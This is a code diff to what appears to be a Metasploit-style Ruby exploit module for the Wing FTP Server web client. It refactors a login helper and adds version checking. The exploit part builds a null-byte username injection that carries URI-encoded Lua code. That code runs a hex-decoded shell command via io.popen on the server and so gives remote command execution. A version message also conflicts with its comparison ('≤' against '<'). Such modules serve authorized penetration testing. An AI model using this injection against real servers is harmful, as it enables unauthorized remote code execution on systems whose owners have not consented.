@@ -66,33 +66,51 @@ def initialize(info = {})
66
66
)
67
67
end
68
68
69
+ def uid_cookie ( res )
70
+ res &.get_cookies_parsed &.[]( 'UID' )
71
+ end
72
+
73
+ def post_login ( username , password )
74
+ send_request_cgi (
75
+ 'method' => 'POST' ,
76
+ 'uri' => normalize_uri ( target_uri . path , 'loginok.html' ) ,
77
+ 'uri_encode_mode' => 'none' ,
78
+ 'headers' => {
79
+ 'Referer' => normalize_uri ( target_uri . path , 'login.html' ) + '?lang=english'
80
+ } ,
81
+ 'vars_post' => {
82
+ 'username' => username ,
83
+ 'password' => password ,
84
+ 'username_val' => username . split ( '%00' ) . first ,
85
+ 'password_val' => password
86
+ }
87
+ )
88
+ end
89
+
69
90
def check
70
91
res = send_request_cgi (
71
92
'method' => 'GET' ,
72
93
'uri' => normalize_uri ( target_uri . path , 'login.html' )
73
94
)
74
95
return CheckCode ::Safe ( 'Not a Wing FTP Web Client' ) unless res &.body &.include? ( 'Wing FTP Server - Web Client' )
75
96
97
+ if ( ver_str = res . body [ /Wing FTP Server v([\d .]+)/i , 1 ] )
98
+ ver = Rex ::Version . new ( ver_str )
99
+ return ver < Rex ::Version . new ( '7.4.4' ) ? CheckCode ::Vulnerable ( "Detected version #{ ver } ≤ 7.4.4" ) : CheckCode ::Safe ( "Detected version #{ ver } > 7.4.4" )
100
+ end
101
+
76
102
suffix = Rex ::Text . rand_text_alpha ( 8 )
77
103
user = datastore [ 'USERNAME' ]
78
104
pass = datastore [ 'PASSWORD' ]
79
- payload = "username=#{ user } %00#{ suffix } &password=#{ pass } &username_val=#{ user } &password_val=#{ pass } "
80
-
81
- res = send_request_cgi (
82
- 'method' => 'POST' ,
83
- 'uri' => normalize_uri ( target_uri . path , 'loginok.html' ) ,
84
- 'headers' => {
85
- 'Content-Type' => 'application/x-www-form-urlencoded' ,
86
- 'Referer' => normalize_uri ( target_uri . path , 'login.html' ) + '?lang=english'
87
- } ,
88
- 'data' => payload
89
- )
90
- return CheckCode ::Unknown ( 'No response' ) unless res
91
105
92
- uid = res . get_cookies_parsed . fetch ( 'UID' , nil )
93
- return CheckCode ::Appears ( "UID cookie received: #{ uid } " ) if uid
106
+ res2 = post_login ( " #{ user } %00 #{ suffix } " , pass )
107
+ return CheckCode ::Unknown ( 'No response' ) unless res2
94
108
95
- CheckCode ::Safe ( 'UID cookie not found; not vulnerable' )
109
+ if uid_cookie ( res2 )
110
+ CheckCode ::Appears ( 'UID cookie received' )
111
+ else
112
+ CheckCode ::Safe ( 'UID cookie not found; not vulnerable' )
113
+ end
96
114
end
97
115
98
116
def exploit
@@ -109,25 +127,12 @@ def exploit
109
127
end
110
128
local cmd = hx("#{ hex } ")
111
129
local h = io.popen(cmd)
112
- local r = h:read("*a")
113
130
h:close()
114
131
LUA
115
132
116
133
inj = "#{ user } %00" + Rex ::Text . uri_encode ( lua ) . gsub ( '%0a' , '%0d' ) + '--'
117
134
118
- res = send_request_cgi (
119
- 'method' => 'POST' ,
120
- 'uri' => normalize_uri ( target_uri . path , 'loginok.html' ) ,
121
- 'headers' => {
122
- 'Referer' => normalize_uri ( target_uri . path , 'login.html' ) + '?lang=english'
123
- } ,
124
- 'vars_post' => {
125
- 'username' => inj ,
126
- 'password' => pass ,
127
- 'username_val' => user ,
128
- 'password_val' => pass
129
- }
130
- )
135
+ res = post_login ( inj , pass )
131
136
fail_with ( Failure ::UnexpectedReply , 'Injection failed' ) unless res &.code == 200
132
137
133
138
uid = res . get_cookies_parsed . fetch ( 'UID' , nil )
0 commit comments